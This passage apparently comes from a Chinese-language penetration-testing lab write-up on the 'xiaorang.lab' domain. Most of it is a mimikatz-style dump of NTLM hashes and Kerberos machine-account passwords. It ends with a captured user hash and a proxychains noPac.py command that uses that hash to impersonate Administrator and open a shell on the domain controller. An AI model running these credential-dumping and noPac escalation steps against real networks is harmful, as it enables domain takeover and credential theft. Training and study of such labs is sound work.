* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2026/8/23 20:30:57
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 60359 (00000000:0000ebc7)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/23 20:30:57
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : f87bbea221c346a6578b5e937f207038
* SHA1 : 318380b6fdd4556d540909a5c86a1bf191b2f0f5
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
* Password : 7e 84 db cc ca 73 03 80 f7 29 81 e8 9a fe 5f f1 22 35 25 bb 96 3a 28 f5 3e e9 e7 09 9f 36 a4 11 b1 77 de a6 77 48 92 8b 49 49 c2 e8 02 16 89 fb 33 bd b5 2a f7 04 62 74 db 1e c3 ba bd 63 f8 b0 d1 ec 46 50 4e 04 38 6d a7 a4 7e 0d 1a 4d 06 5a 73 6e 11 71 11 e2 7f 9b 8e 7f 68 6a 8f 23 6e 38 66 a5 76 95 65 1d 1a 38 24 fc 64 e2 ca 83 c4 87 57 ec 28 eb fe 15 50 c1 55 b2 22 46 1a 2d 7b 50 d0 71 b5 90 86 90 da 4b a8 51 2a 85 9b 38 e0 0f ea 2a 67 18 3c 8d f4 5e 3a 50 2b 57 b3 55 c5 b6 48 5a af 8c 3c f6 f4 09 0e f4 d9 ff f3 3d a2 f7 87 eb 33 02 d3 f9 d1 da b7 ac 37 14 0a 50 cc 3b ca d1 6f 0a c2 a0 73 81 75 65 91 85 95 dd 60 c6 a9 e1 1f 43 9c 4c 81 91 b5 77 ed 2d 28 5d c8 0f 1a 06 c8 89 44 64 65 11 f2 36 37 13 7c ef 8b 56
ssp :
credman :
cloudap :
Authentication Id : 0 ; 60309 (00000000:0000eb95)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/23 20:30:57
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : XR-LCM3AE8B$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2026/8/23 20:30:57
SID : S-1-5-20
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xr-lcm3ae8b$
* Domain : XIAORANG.LAB
* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
Authentication Id : 0 ; 30838 (00000000:00007876)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/23 20:30:56
SID : S-1-5-96-0-1
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
Authentication Id : 0 ; 30797 (00000000:0000784d)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/23 20:30:56
SID : S-1-5-96-0-0
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
Authentication Id : 0 ; 29639 (00000000:000073c7)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2026/8/23 20:30:56
SID :
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
kerberos :
ssp :
credman :
cloudap :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : XR-LCM3AE8B$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2026/8/23 20:30:56
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : xr-lcm3ae8b$
* Domain : XIAORANG.LAB
* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
|
可以抓到一个zhanghui用户的哈希1232126b24cdf8c9bd2f788a9d7c7ed1，他在MA_Admin组，对computer能够创建对象，能向域中添加机器账户，所以能打noPac
1
| proxychains4 python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
|
